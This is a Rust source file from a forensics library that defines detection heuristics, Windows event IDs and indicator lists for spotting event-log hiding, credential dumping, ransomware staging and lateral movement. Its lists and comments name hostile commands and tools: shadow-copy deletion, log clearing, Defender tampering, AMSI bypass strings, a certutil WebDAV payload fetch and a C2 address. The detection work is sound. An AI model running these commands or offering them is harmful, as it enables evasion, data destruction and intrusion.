forensicnomicon 0.3.1

//! EVTX event log "hiding" anomaly heuristics.
//!
//! Detection predicates for the technique described in Harlan Carvey's
//! [*Hiding In The Windows Event Log*](https://windowsir.blogspot.com/2023/07/hiding-in-windows-event-log.html)
//! (windowsir, 2023-07-08), which builds on Kaspersky's
//! [*A new secret stash for fileless malware*](https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/)
//! (May 2022) and Tim Fowler's
//! [*Windows Event Logs for Red Teams*](https://www.blackhillsinfosec.com/windows-event-logs-for-red-teams/)
//! (BlackHillsInfoSec).
//!
//! Threat actors abuse the Windows Event Log as a covert persistent storage
//! channel because:
//!
//! 1. Of the ~400 `.evtx` files under `%SystemRoot%\System32\winevt\Logs`,
//!    most analysts only collect the "Big Three" (Security, System, Application).
//! 2. Low-volume or unpopulated channels (the post highlights *Key Management
//!    Service*) make great repositories — anomalous record growth stands out
//!    against an otherwise empty file.
//! 3. Custom event sources can write any event ID; Carvey reports observing
//!    multiple threat-actor tools that emit *every* record as event ID 0.
//! 4. Identifying records solely by event ID is insufficient — `(provider,
//!    event_id)` is the unique key, and an unfamiliar `(provider, id)` pair
//!    appearing rarely is a pivot point an Events Ripper plugin could surface.
//!
//! All predicates here are pure functions over primitives — no I/O, no parsing,
//! no `chrono`. EVTX file/record decoding lives in higher layers; this module
//! only encodes the *anomaly thresholds*.

// ── Event ID anomalies ────────────────────────────────────────────────────────

/// Event IDs at or below this value are reserved/sentinel and rarely emitted by
/// legitimate Windows providers as "normal" telemetry.
///
/// Per the post, multiple threat-actor tools emit *every* record as event
/// ID 0 — a strong indicator of a custom event source registered for covert
/// logging rather than legitimate Windows component telemetry.
pub const RESERVED_EVENT_ID_MAX: u32 = 0;

/// Returns `true` if the event ID is the sentinel value 0, which threat-actor
/// tools have been observed to use as a catch-all ID for every record they
/// write.
///
/// # Detection
/// Per [Carvey 2023](https://windowsir.blogspot.com/2023/07/hiding-in-windows-event-log.html):
/// "two of which use event ID 0 (zero) for *everything*, literally every
/// record written, regardless of the message, is event ID 0."
#[must_use]
pub fn is_reserved_event_id(event_id: u32) -> bool {
    event_id <= RESERVED_EVENT_ID_MAX
}

// ── Channel volume anomalies ──────────────────────────────────────────────────

/// Maximum record count for an EVTX channel to be considered "low volume" —
/// a candidate covert-storage host per the post.
///
/// The post identifies "Key Management Service" as an attractive repository
/// because it is "enabled on the systems I have access to, [but] it's not
/// populated on any of them." Channels normally carrying zero or a handful of
/// records make even a single planted record stand out.
pub const LOW_VOLUME_CHANNEL_MAX_RECORDS: u64 = 10;

/// Returns `true` if a channel's record count is low enough that it would
/// serve as a "decent persistent repository" per the post — i.e. one whose
/// baseline volume is so low that any new record is suspicious.
#[must_use]
pub fn is_low_volume_channel(record_count: u64) -> bool {
    record_count <= LOW_VOLUME_CHANNEL_MAX_RECORDS
}

// ── (Provider, EventID) pair frequency ────────────────────────────────────────

/// Maximum occurrence count for a `(provider, event_id)` pair to be considered
/// "rare" within a collection — a pivot worth investigating per the post's
/// suggested Events Ripper plugin.
///
/// Carvey: "An Events Ripper plugin that listed all source/ID pairs and their
/// frequency *might* provide a pivot point for the analyst."
pub const RARE_SOURCE_ID_PAIR_MAX: u64 = 3;

/// Returns `true` if a `(provider, event_id)` pair occurs rarely enough that
/// it is a worthwhile pivot for the analyst.
///
/// The post stresses event IDs are not unique — `(provider, id)` is the real
/// key. A pair seen only once or twice across an entire image is a candidate
/// for hand-crafted custom logging.
#[must_use]
pub fn is_rare_source_id_pair(occurrence_count: u64) -> bool {
    occurrence_count > 0 && occurrence_count <= RARE_SOURCE_ID_PAIR_MAX
}

// ── "Big Three" channel coverage ─────────────────────────────────────────────

/// The three EVTX channels that the post calls out as the historical-and-still-
/// over-collected default ("The Big Three"). Anything *outside* this set is
/// where covert persistence is more likely to land unnoticed.
pub const BIG_THREE_CHANNELS: &[&str] = &["Security", "System", "Application"];

/// Returns `true` if `channel_name` is one of the historical "Big Three"
/// (`Security`, `System`, `Application`).
///
/// Matching is case-insensitive against ASCII; locale-specific channel names
/// are not normalized here — feed the canonical English name from the EVTX
/// header.
#[must_use]
pub fn is_big_three_channel(channel_name: &str) -> bool {
    BIG_THREE_CHANNELS
        .iter()
        .any(|c| c.eq_ignore_ascii_case(channel_name))
}

/// Returns `true` if the channel falls *outside* the Big Three — i.e. the kind
/// of channel the post identifies as a likely covert-storage candidate because
/// "responders and analysts aren't likely to look there."
#[must_use]
pub fn is_overlooked_channel(channel_name: &str) -> bool {
    !is_big_three_channel(channel_name)
}

// ── Super-timeline channels ───────────────────────────────────────────────────

/// The five Windows EVTX channels merged into a unified forensic super-timeline.
///
/// Combining Security, System, Sysmon, PowerShell, and TaskScheduler gives
/// comprehensive coverage of authentication, process execution, file activity,
/// network connections, and scheduled task abuse in a single chronological stream.
pub const SUPER_TIMELINE_CHANNELS: &[&str] = &[
    "Security",
    "System",
    SYSMON_CHANNEL,
    POWERSHELL_OPERATIONAL_CHANNEL,
    TASKSCHEDULER_OPERATIONAL_CHANNEL,
];

/// Canonical channel name for Microsoft Sysmon.
pub const SYSMON_CHANNEL: &str = "Microsoft-Windows-Sysmon/Operational";

/// Canonical channel name for PowerShell operational logging.
pub const POWERSHELL_OPERATIONAL_CHANNEL: &str = "Microsoft-Windows-PowerShell/Operational";

/// Canonical channel name for the Task Scheduler operational log.
pub const TASKSCHEDULER_OPERATIONAL_CHANNEL: &str = "Microsoft-Windows-TaskScheduler/Operational";

// ── Sysmon Event IDs ──────────────────────────────────────────────────────────

/// Sysmon EID 1: Process Create — captures ProcessGuid chains for tree reconstruction.
pub const EID_SYSMON_PROCESS_CREATE: u32 = 1;
/// Sysmon EID 3: Network Connection.
pub const EID_SYSMON_NETWORK_CONNECT: u32 = 3;
/// Sysmon EID 7: Image Loaded.
pub const EID_SYSMON_IMAGE_LOAD: u32 = 7;
/// Sysmon EID 11: File Created — primary source for MFT/USN correlation.
pub const EID_SYSMON_FILE_CREATE: u32 = 11;
/// Sysmon EID 15: FileCreateStreamHash — alternate-data-stream detection.
pub const EID_SYSMON_FILE_CREATE_STREAM_HASH: u32 = 15;
/// Sysmon EID 22: DNS Query.
pub const EID_SYSMON_DNS_QUERY: u32 = 22;

// ── Boot / shutdown Event IDs (System channel) ────────────────────────────────

/// System EID 6005: EventLog service started — marks a clean boot boundary.
pub const EID_BOOT: u32 = 6005;
/// System EID 6006: EventLog service stopped — marks a clean shutdown boundary.
pub const EID_SHUTDOWN: u32 = 6006;
/// System EID 6008: Unexpected shutdown — dirty-shutdown / crash boundary.
pub const EID_UNEXPECTED_SHUTDOWN: u32 = 6008;

// ── Sysmon field name constants ───────────────────────────────────────────────

/// `data` key for the Sysmon process GUID (all Sysmon process events).
pub const SYSMON_FIELD_PROCESS_GUID: &str = "ProcessGuid";
/// `data` key for the Sysmon parent process GUID (EID 1).
pub const SYSMON_FIELD_PARENT_PROCESS_GUID: &str = "ParentProcessGuid";
/// `data` key for the file path in Sysmon file events (EID 11, 15).
pub const SYSMON_FIELD_TARGET_FILENAME: &str = "TargetFilename";
/// `data` key for the process image path (EID 1, 3, 7, 11, 15).
pub const SYSMON_FIELD_IMAGE: &str = "Image";
/// `data` key for the parent image path (EID 1).
pub const SYSMON_FIELD_PARENT_IMAGE: &str = "ParentImage";
/// `data` key for the command line (EID 1).
pub const SYSMON_FIELD_COMMAND_LINE: &str = "CommandLine";
/// `data` key for the parent command line (EID 1).
pub const SYSMON_FIELD_PARENT_COMMAND_LINE: &str = "ParentCommandLine";

// ── Security channel EID constants (commonly referenced in orchestration) ─────

/// Security EID 4624: Successful logon.
pub const EID_LOGON: u32 = 4624;
/// Security EID 4625: Failed logon.
pub const EID_LOGON_FAILURE: u32 = 4625;
/// Security EID 4634: Logoff.
pub const EID_LOGOFF: u32 = 4634;
/// Security EID 4647: User-initiated logoff.
pub const EID_LOGOFF_USER: u32 = 4647;
/// Security EID 4672: Special privileges assigned to new logon.
pub const EID_SPECIAL_LOGON: u32 = 4672;
/// Security EID 4688: Process creation.
pub const EID_PROCESS_CREATE: u32 = 4688;
/// Security EID 4689: Process exit.
pub const EID_PROCESS_EXIT: u32 = 4689;
/// Security EID 4697: Service installed (Security channel).
pub const EID_SERVICE_INSTALLED_SECURITY: u32 = 4697;
/// Security EID 4662: Directory service object access (DCSync uses this).
pub const EID_DIRECTORY_SERVICE_ACCESS: u32 = 4662;
/// Security EID 4768: Kerberos TGT request (AS-REP Roasting target).
pub const EID_KERBEROS_TGT_REQUEST: u32 = 4768;
/// Security EID 4769: Kerberos TGS request (Kerberoasting target).
pub const EID_KERBEROS_TGS_REQUEST: u32 = 4769;
/// Security EID 1102: Security audit log cleared.
pub const EID_LOG_CLEARED: u32 = 1102;
/// Security EID 5140: Network share object accessed.
pub const EID_SMB_SHARE_ACCESS: u32 = 5140;
/// Security EID 5145: Network share object check (file-level SMB access).
pub const EID_SMB_OBJECT_ACCESS: u32 = 5145;

// ── System / Service EID constants ───────────────────────────────────────────

/// System EID 7045: New service installed (System channel).
pub const EID_SERVICE_INSTALLED: u32 = 7045;
/// System / Application EID 104: Application log cleared.
pub const EID_LOG_CLEARED_SYSTEM: u32 = 104;
/// System EID 105: Channel log cleared or disabled.
pub const EID_CHANNEL_LOG_CLEARED: u32 = 105;

// ── Task Scheduler EID constants (Microsoft-Windows-TaskScheduler/Operational)

/// TaskScheduler EID 106: Task registered (created or updated).
pub const EID_TASK_REGISTERED: u32 = 106;
/// TaskScheduler EID 140: Task updated.
pub const EID_TASK_UPDATED: u32 = 140;
/// TaskScheduler EID 141: Task deleted.
pub const EID_TASK_DELETED: u32 = 141;
/// TaskScheduler EID 200: Task action started.
pub const EID_TASK_LAUNCHED: u32 = 200;
/// TaskScheduler EID 201: Task action completed.
pub const EID_TASK_COMPLETED: u32 = 201;

// ── WMI-Activity EID constants (Microsoft-Windows-WMI-Activity/Operational) ──

/// WMI-Activity EID 5860: WMI filter subscribed.
pub const EID_WMI_FILTER_SUBSCRIBED: u32 = 5860;
/// WMI-Activity EID 5861: WMI filter triggered (subscription fired).
pub const EID_WMI_FILTER_TRIGGERED: u32 = 5861;

// ── BITS-Client EID constants (Microsoft-Windows-Bits-Client/Operational) ────

/// BITS-Client EID 59: Job transfer initiated.
pub const EID_BITS_TRANSFER_START: u32 = 59;
/// BITS-Client EID 60: Job transfer completed.
pub const EID_BITS_TRANSFER_COMPLETE: u32 = 60;

// ── PowerShell EID constants (Microsoft-Windows-PowerShell/Operational) ──────

/// PowerShell EID 4104: Script block logging — full script text captured.
pub const EID_PS_SCRIPT_BLOCK: u32 = 4104;

// ── Microsoft Defender EID constants ─────────────────────────────────────────

/// Microsoft Defender EID 1116: Malware detected.
pub const EID_DEFENDER_MALWARE_DETECTED: u32 = 1116;
/// Microsoft Defender EID 5001: Real-time protection disabled.
pub const EID_DEFENDER_REALTIME_DISABLED: u32 = 5001;
/// Microsoft Defender EID 5007: Antimalware configuration changed.
pub const EID_DEFENDER_CONFIG_CHANGED: u32 = 5007;

// ── W32Time EID constants (System channel) ───────────────────────────────────

/// W32Time EID 37: NtpClient could not find a domain controller.
pub const EID_W32TIME_NTP_FAILED: u32 = 37;
/// W32Time EID 158: System clock synchronized.
pub const EID_W32TIME_SYNC: u32 = 158;

// ── Additional Sysmon EID constants ─────────────────────────────────────────

/// Sysmon EID 6: Driver Load — kernel driver loaded; used to detect BYOVD driver
/// loads via signer / certificate checks.
pub const EID_SYSMON_DRIVER_LOAD: u32 = 6;
/// Sysmon EID 10: ProcessAccess — one process opened a handle to another.
pub const EID_SYSMON_PROCESS_ACCESS: u32 = 10;
/// Sysmon EID 12: RegistryEvent (Object create/delete).
pub const EID_SYSMON_REGISTRY_ADD: u32 = 12;
/// Sysmon EID 13: RegistryEvent (Value Set).
pub const EID_SYSMON_REGISTRY_MODIFY: u32 = 13;
/// Sysmon EID 16: Sysmon configuration changed.
pub const EID_SYSMON_CONFIG_CHANGE: u32 = 16;
/// Sysmon EID 26: FileDeleteDetected — file deletion observed (Sysmon v13+);
/// complements EID 23 when archive-mode is not enabled.
pub const EID_SYSMON_FILE_DELETE_DETECTED: u32 = 26;
/// Sysmon EID 255: Sysmon error / driver unload.
pub const EID_SYSMON_DRIVER_UNLOAD: u32 = 255;

// ── Additional Sysmon field name constants ───────────────────────────────────

/// `data` key for DNS query name in Sysmon EID 22.
pub const SYSMON_FIELD_QUERY_NAME: &str = "QueryName";
/// `data` key for the access mask in Sysmon EID 10 (ProcessAccess).
pub const SYSMON_FIELD_GRANTED_ACCESS: &str = "GrantedAccess";
/// `data` key for the target process image in Sysmon EID 10.
pub const SYSMON_FIELD_TARGET_IMAGE: &str = "TargetImage";
/// `data` key for the source IP in Sysmon EID 3 (NetworkConnect).
pub const SYSMON_FIELD_SOURCE_IP: &str = "SourceIp";
/// `data` key for the destination IP in Sysmon EID 3.
pub const SYSMON_FIELD_DEST_IP: &str = "DestinationIp";
/// `data` key for the destination port in Sysmon EID 3.
pub const SYSMON_FIELD_DEST_PORT: &str = "DestinationPort";

// ── DCSync replication GUIDs ─────────────────────────────────────────────────
// These appear in the Properties field of Security EID 4662 during DCSync.
// Source: MS-ADTS §3.1.1.3.3 — Active Directory replication access rights.

/// Active Directory DS-Replication-Get-Changes right (required for DCSync).
pub const GUID_DS_REPLICATION_GET_CHANGES: &str = "{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}";
/// Active Directory DS-Replication-Get-Changes-All (full DCSync, incl. secrets).
pub const GUID_DS_REPLICATION_GET_CHANGES_ALL: &str = "{1131f6ad-9c07-11d1-f79f-00c04fc2dcd2}";
/// DS-Replication-Get-Changes-In-Filtered-Set (partial DC sync).
pub const GUID_DS_REPLICATION_FILTERED: &str = "{89e95b76-444d-4c62-991a-0facbeda640c}";

// ── AMSI bypass indicator strings ────────────────────────────────────────────
// These appear in PowerShell 4104 ScriptBlockText when AMSI is patched
// in-memory. Each string is a known-bad substring, case-insensitive.

/// Known AMSI bypass indicator strings found in PowerShell 4104 script blocks.
pub const AMSI_BYPASS_PATTERNS: &[&str] = &[
    "amsiInitFailed",
    "amsiContext",
    "amsiSession",
    "AmsiUtils",
    "PatchAmsi",
    "amsi.dll",
    "AmsiScanBuffer",
    "AmsiScanString",
    "[Runtime.InteropServices.Marshal]::Copy",
];

// ── Archiver process names (Compression/Staging detection) ───────────────────

/// Archiver process basenames that indicate compression/staging activity.
pub const ARCHIVER_PROCESS_NAMES: &[&str] = &[
    "7z.exe",
    "7za.exe",
    "winrar.exe",
    "rar.exe",
    "pkzip.exe",
    "winzip.exe",
    "compress.exe",
    "compact.exe",
    "xcopy.exe",
];

/// Compressed archive extensions indicative of staging in temp directories.
pub const STAGING_ARCHIVE_EXTENSIONS: &[&str] =
    &[".zip", ".7z", ".rar", ".tar", ".gz", ".bz2", ".xz", ".cab"];

// ── LSASS process name ────────────────────────────────────────────────────────

/// LSASS process image name — target of credential dumping (EID 10).
pub const LSASS_IMAGE_NAME: &str = "lsass.exe";

/// Known GrantedAccess masks used for LSASS credential dumping.
pub const LSASS_DUMP_ACCESS_MASKS: &[u32] = &[
    0x0010,   // PROCESS_VM_READ
    0x1010,   // PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION
    0x1410,   // PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | ...
    0x1fffff, // PROCESS_ALL_ACCESS
];

// ── PsExec / service-execution indicators ────────────────────────────────────

/// Service name patterns written by PsExec and compatible tools.
pub const PSEXEC_SERVICE_PATTERNS: &[&str] = &[
    "PSEXESVC",
    "psexesvc",
    "PAExec",
    "paexec",
    "remcom",
    "RemComSvc",
];

// ── Defender tampering PowerShell patterns ────────────────────────────────────

/// PowerShell patterns that appear when Defender is being tampered with.
pub const DEFENDER_TAMPER_PATTERNS: &[&str] = &[
    "Set-MpPreference",
    "Add-MpPreference",
    "DisableRealtimeMonitoring",
    "ExclusionPath",
    "ExclusionProcess",
    "ExclusionExtension",
    "DisableAntiSpyware",
    "DisableAntiVirus",
];

// ── Channel constants ─────────────────────────────────────────────────────────

/// WMI-Activity operational channel.
pub const WMI_ACTIVITY_CHANNEL: &str = "Microsoft-Windows-WMI-Activity/Operational";
/// TaskScheduler operational channel.
pub const TASKSCHEDULER_CHANNEL: &str = "Microsoft-Windows-TaskScheduler/Operational";
/// BITS-Client operational channel.
pub const BITS_CLIENT_CHANNEL: &str = "Microsoft-Windows-Bits-Client/Operational";
/// Windows Defender operational channel.
pub const DEFENDER_CHANNEL: &str = "Microsoft-Windows-Windows Defender/Operational";
/// Hyper-V Virtual Machine Management Service (VMMS) Admin channel.
pub const HYPERV_VMMS_CHANNEL: &str = "Microsoft-Windows-Hyper-V-VMMS/Admin";

// ── Sysmon EID 23 — file deletion ────────────────────────────────────────────

/// Sysmon EID 23: File deleted — requires Sysmon v13+ with `-i` archiving enabled.
/// Used to detect deliberate anti-forensics file deletion (e.g. PS history wipe).
pub const EID_SYSMON_FILE_DELETE: u32 = 23;

// ── Security EID 4657 — registry audit ───────────────────────────────────────

/// Security EID 4657: A registry value was modified (Object Access auditing).
/// Required: SACL on the registry key + "Audit Registry" policy enabled.
pub const EID_REGISTRY_VALUE_SET: u32 = 4657;

// ── HVCI / Driver Blocklist registry value names ──────────────────────────────
// Modifying these values disables kernel-mode exploit mitigations.
// QWCrypt/RedCurl uses reg edits to disable HVCI and the Vulnerable Driver
// Blocklist before installing the Zemana BYOVD driver (T1562.001).

/// Registry value names whose modification indicates HVCI/Driver Blocklist tampering.
pub const HVCI_REGISTRY_VALUE_NAMES: &[&str] = &[
    "VulnerableDriverBlocklistEnable",
    "EnableVirtualizationBasedSecurity",
    "HypervisorEnforcedCodeIntegrity",
    "Enabled",
];

/// Registry key path fragments that are security-sensitive for HVCI/VBS.
pub const HVCI_REGISTRY_KEY_PATHS: &[&str] = &[
    "\\Control\\CI\\Config",
    "\\Control\\DeviceGuard",
];

// ── QWCrypt IOC filenames ─────────────────────────────────────────────────────

/// Process image basenames that are QWCrypt/RedCurl-specific IOC filenames.
pub const QWCRYPT_IOC_FILENAMES: &[&str] = &[
    "rbcw.exe",
    "ADNotificationManager.exe",
];

/// Known QWCrypt C2 IP addresses.
pub const QWCRYPT_IOC_IPS: &[&str] = &[
    "109.206.236.209",
];

/// The .qwCrypt ransomware extension appended to encrypted files.
pub const QWCRYPT_IOC_EXTENSION: &str = ".qwCrypt";

// ── WebDAV LOLBin process names ───────────────────────────────────────────────
// Processes that should rarely originate outbound WebDAV/HTTP connections in
// a managed enterprise — a connection from these is a strong lateral-movement
// or payload-staging signal (T1102, T1105).

/// Process basenames that should not initiate outbound WebDAV/HTTP connections.
pub const WEBDAV_LOL_PROCESSES: &[&str] = &[
    "rundll32.exe",
    "msiexec.exe",
    "regsvr32.exe",
    "wscript.exe",
    "cscript.exe",
    "mshta.exe",
    "odbcconf.exe",
    "ieexec.exe",
    // certutil abused for WebDAV download: certutil -urlcache -split -f \\server@443\DavWWWRoot\payload
    "certutil.exe",
    // pcalua.exe (Program Compatibility Assistant LOLBin) used to launch payloads
    // via "pcalua -a conhost.exe -c --headless python.exe cl.py" in RedCurl intrusions
    "pcalua.exe",
];

/// Substrings in a process CommandLine that indicate WebDAV-style UNC paths.
/// A LOLBin launching with one of these in its command line is likely staging
/// or executing a payload from a WebDAV share (T1102, T1105).
pub const WEBDAV_COMMANDLINE_INDICATORS: &[&str] = &[
    "DavWWWRoot",  // standard WebDAV share name used in UNC paths
    "@SSL\\",      // WebDAV over HTTPS — \\server@443@SSL\DavWWWRoot\...
    "@80\\",       // WebDAV over plain HTTP — \\server@80\DavWWWRoot\...
    "@443\\",      // WebDAV over HTTPS (explicit port)
];

// ── PowerShell history path fragment ─────────────────────────────────────────

/// Basename of the PowerShell command history file targeted by QWCrypt wipe.
pub const PS_HISTORY_PATH_FRAGMENT: &str = "ConsoleHost_history.txt";

// ── VSS EID constants (Application channel, source "VSS") ────────────────────

/// Application EID 8193: VSS service error — often fired when shadow copies are
/// deleted via vssadmin or wmic (T1490 inhibit system recovery).
pub const EID_VSS_ERROR: u32 = 8193;
/// Application EID 524: VSS snapshot deleted event.
pub const EID_VSS_SNAPSHOT_DELETED: u32 = 524;

// ── Hyper-V VMMS EID constants ───────────────────────────────────────────────

/// Hyper-V-VMMS EID 13002: Virtual machine state change initiated (e.g. stopping).
/// QWCrypt/RedCurl shuts down all VMs before encrypting VHD/VHDX files on-disk.
pub const EID_HYPERV_VM_STATE_CHANGE: u32 = 13002;
/// Hyper-V-VMMS EID 13003: Virtual machine has stopped.
pub const EID_HYPERV_VM_STOPPED: u32 = 13003;

// ── WMI-Activity EID constants (query / error pivots) ────────────────────────

/// WMI-Activity EID 5857: WMI provider loaded — lateral-movement pivot when
/// ClientMachine indicates a remote host.
pub const EID_WMI_QUERY: u32 = 5857;
/// WMI-Activity EID 5858: WMI operation failure — remote WMI lateral movement
/// attempt leaves an artifact even when the operation fails.
pub const EID_WMI_OPERATION_FAILURE: u32 = 5858;

// ── Security audit task EID ───────────────────────────────────────────────────

/// Security EID 4698: Scheduled task created (Security audit channel).
/// Complements TaskScheduler/Operational EID 106; fires even when the
/// task scheduler operational log is cleared.
pub const EID_SECURITY_TASK_CREATED: u32 = 4698;

// ── BYOVD driver names ───────────────────────────────────────────────────────
// Known-vulnerable driver service names used in Bring-Your-Own-Vulnerable-Driver
// attacks (MITRE T1068). QWCrypt (RedCurl/GOLD BLADE) uses the Zemana Anti-Malware
// driver (ZAM64.sys) to terminate EDR processes before deploying the encryptor.
// Sources: LOLDrivers project, CISA advisories, vendor incident reports.

/// Service names of known-vulnerable drivers abused in BYOVD attacks.
pub const BYOVD_DRIVER_NAMES: &[&str] = &[
    "ZemanaAntiMalware",
    "zamguard64",
    "ZAM",
    "gdrv",          // Gigabyte App Center GDRV.sys
    "AsrDrv104",     // ASRock Motherboard Utility
    "AsrDrv10",
    "RTCore64",      // MSI Afterburner / RTSS
    "dbutil_2_3",    // Dell BIOS Utility
    "ATSZIO64",      // ASUSTeK I/O driver
    "WinRing0_1_2_0",
    "cpuz136_x64",   // CPU-Z driver
    "speedfan",
];

// ── QWCrypt-specific PowerShell patterns ─────────────────────────────────────
// Observed in RedCurl/GOLD BLADE intrusions 2024–2025.
// Match case-insensitively against EID 4104 ScriptBlockText.

/// PowerShell script-block substrings associated with QWCrypt ransomware.
pub const QWCRYPT_PS_PATTERNS: &[&str] = &[
    "Get-VM",
    "Stop-VM",
    "Start-VM",
    "Save-VM",
    "Set-VMFirmware",
    "Export-VM",
    "vssadmin delete shadows",
    "wbadmin delete",
    "bcdedit /set.*recoveryenabled",
];

// ── SCM service state change EID ─────────────────────────────────────────────

/// System EID 7036: Service control manager — a service has changed state.
/// `param1` = service name, `param2` = new state ("Running" / "Stopped").
/// WebClient service starting unexpectedly is a high-fidelity precursor to any
/// rundll32/certutil WebDAV payload download (T1102, T1105).
pub const EID_SCM_SERVICE_STATE_CHANGE: u32 = 7036;

/// Service name for the WebDAV Mini-Redirector (WebClient).
/// Starting on a host that previously had it stopped enables UNC WebDAV paths
/// of the form `\\server@443\DavWWWRoot\payload` — the delivery mechanism used
/// by LNK-to-rundll32 chains in QWCrypt/RedCurl and many other campaigns.
pub const WEBCLIENT_SERVICE_NAME: &str = "WebClient";

// ── DLL sideloading / hijacking IOCs ─────────────────────────────────────────

/// DLL basenames confirmed as sideloading targets in QWCrypt/RedCurl intrusions.
/// Both are legitimate Windows DLLs with 29+ legitimate loaders (per HijackLibs);
/// the signal is: loaded from a path that is NOT a Windows system directory.
pub const SIDELOAD_HIJACK_DLLS: &[&str] = &[
    "srvcli.dll",
    "netutils.dll",
];

/// Path prefixes for directories that are safe (legitimate) locations for
/// `srvcli.dll` and `netutils.dll`. A load from ANY other path is suspicious.
pub const SYSTEM_DLL_SAFE_PATH_PREFIXES: &[&str] = &[
    "C:\\Windows\\System32\\",
    "C:\\Windows\\SysWOW64\\",
    "C:\\Windows\\WinSxS\\",
];

// ── AD Explorer forensic tombstone ───────────────────────────────────────────

/// Registry key path fragment written on first run of Sysinternals AD Explorer.
/// The full key is `HKCU\Software\Sysinternals\Active Directory Explorer`.
/// It persists even after the tool is deleted — a durable recon tombstone (T1087).
pub const ADEXPLORER_EULAACCEPTED_KEY_FRAGMENT: &str =
    "Sysinternals\\Active Directory Explorer";

// ── Zemana BYOVD signer thumbprint ───────────────────────────────────────────

/// Certificate thumbprint of Zemana Ltd — the signing cert on the Terminator
/// BYOVD driver (ZAM64.sys) abused by QWCrypt/RedCurl (T1068).
/// A driver load (Sysmon EID 6) with this thumbprint from outside the Zemana
/// install path (`C:\Program Files\Zemana\*`) is near-zero-FP on enterprise hosts.
pub const ZEMANA_SIGNER_THUMBPRINT: &str = "96A7749D856CB49DE32005BCDD8621F38E2B4C05";

// ── Reverse proxy / tunnel tool indicators ───────────────────────────────────

/// Command-line substrings present when Chisel (Go SOCKS5/HTTP tunnel) is run.
/// Match case-insensitively in any of: EID 1 CommandLine, EID 4688 CommandLine.
pub const CHISEL_CMDLINE_INDICATORS: &[&str] = &[
    "--reverse",
    "R:socks",
    "socks5",
    "--tls-skip-verify",
    ":127.0.0.1:",
];

/// Command-line substrings present when RPivot (SOCKS4 tunnel) is run.
/// The `cl.py` / `client.py` launcher + `--s`/`--p` flags are tool-specific.
/// QWCrypt/RedCurl uses `pcalua.exe -a conhost.exe -c --headless python.exe cl.py`.
pub const RPIVOT_CMDLINE_INDICATORS: &[&str] = &[
    "cl.py",
    "client.py",
    "--headless",
];

// ── 7-Zip staging indicators ──────────────────────────────────────────────────

/// Suspicious parent images for archiver processes.
/// 7-Zip launched from these parents indicates script/malware-driven staging.
pub const STAGING_PARENT_IMAGES: &[&str] = &[
    "pcalua.exe",
    "WmiPrvSE.exe",
    "wmic.exe",
    "cscript.exe",
    "wscript.exe",
    "mshta.exe",
];

/// 7-Zip flag that encrypts archive headers (filenames hidden inside the archive).
/// Rarely used by legitimate administrators; common in ransomware staging.
pub const ARCHIVER_HEADER_ENCRYPT_FLAG: &str = "-mhe";

// ── Fake browser-update scheduled task indicators ────────────────────────────

/// Task name substrings that mimic legitimate browser updater scheduled tasks.
/// RedCurl uses these names but sets the action path to a user-writable directory
/// instead of the real browser installation path.
pub const BROWSER_UPDATE_TASK_PATTERNS: &[&str] = &[
    "GoogleUpdateTask",
    "MicrosoftEdgeUpdate",
    "MozillaMaintenance",
    "ChromeUpdate",
    "BraveSoftwareUpdate",
    "OperaScheduled",
];

// ── Cloudflare Workers C2 detection ──────────────────────────────────────────

/// DNS suffix used by Cloudflare Workers — abused as a rotating C2 redirector
/// by QWCrypt/RedCurl (T1102). Queried by non-browser processes is near-zero-FP.
pub const CLOUDFLARE_WORKERS_DOMAIN_SUFFIX: &str = ".workers.dev";

/// Process basenames for browsers that legitimately query `.workers.dev` domains.
/// All other processes querying this suffix are suspicious.
pub const BROWSER_PROCESS_NAMES: &[&str] = &[
    "chrome.exe",
    "msedge.exe",
    "firefox.exe",
    "iexplore.exe",
    "brave.exe",
    "opera.exe",
    "safari.exe",
    "vivaldi.exe",
];

// ── WMI / Impacket lateral movement indicators ────────────────────────────────

/// Command-line substrings that indicate the Impacket wmiexec.py output-redirect
/// technique: `wmiexec.py` redirects stdout to a temp file under `\\127.0.0.1\ADMIN$\__<ts>`.
/// Near-zero false-positive — legitimate admin WMI does not use this pattern.
pub const WMI_IMPACKET_INDICATORS: &[&str] = &[
    "\\\\127.0.0.1\\ADMIN$\\__",
    "127.0.0.1\\ADMIN$\\__",
];

// ── System channel ────────────────────────────────────────────────────────────

/// Canonical name for the Windows System event log channel.
pub const SYSTEM_CHANNEL: &str = "System";

// ── Security account management EIDs ─────────────────────────────────────────

/// Security EID 4720: A user account was created.
pub const EID_USER_ACCOUNT_CREATED: u32 = 4720;
/// Security EID 4732: A member was added to a security-enabled local group.
/// Combined with EID 4720, indicates a new local admin account was provisioned.
pub const EID_USER_ADDED_TO_LOCAL_GROUP: u32 = 4732;

/// SID for the local Administrators group (all Windows versions).
pub const LOCAL_ADMINS_GROUP_SID: &str = "S-1-5-32-544";

// ── VSS deletion process-creation patterns ────────────────────────────────────
// Used in EID 4688 / Sysmon EID 1 CommandLine checks (T1490).

/// CommandLine substrings indicating vssadmin shadow copy deletion.
pub const VSSADMIN_SHADOW_DELETE_PATTERNS: &[&str] = &[
    "delete shadows",
    "delete shadow",
];

/// CommandLine substrings indicating wmic shadow copy deletion.
pub const WMIC_SHADOW_DELETE_PATTERNS: &[&str] = &[
    "shadowcopy delete",
    "shadowstorage delete",
];

// ── bcdedit recovery-tamper CommandLine patterns ──────────────────────────────

/// CommandLine substrings that disable Windows boot recovery options.
/// Covers the three most common ransomware bcdedit calls (T1490/T1562.009).
pub const BCDEDIT_RECOVERY_DISABLE_PATTERNS: &[&str] = &[
    "recoveryenabled no",
    "bootstatuspolicy ignoreallfailures",
    "safeboot network",
    "safeboot minimal",
];

// ── wevtutil / PowerShell log-clearing patterns ───────────────────────────────

/// CommandLine substrings that indicate wevtutil log-clear invocations.
pub const WEVTUTIL_CLEAR_SUBSTRINGS: &[&str] = &[
    " cl ",        // wevtutil cl Security
    " clear-log ", // wevtutil clear-log Application
];

/// PowerShell script-block substrings used to clear Windows event logs.
pub const PS_CLEAR_EVENTLOG_PATTERNS: &[&str] = &[
    "Clear-EventLog",
    "Remove-EventLog",
    "wevtutil cl",
    "wevtutil clear-log",
];

// ── comsvcs.dll MiniDump (LSASS credential dump) patterns ─────────────────────

/// CommandLine substrings that identify comsvcs.dll-based LSASS credential dumps
/// (T1003.001).  The combination `comsvcs.dll` + `MiniDump` + `lsass` is
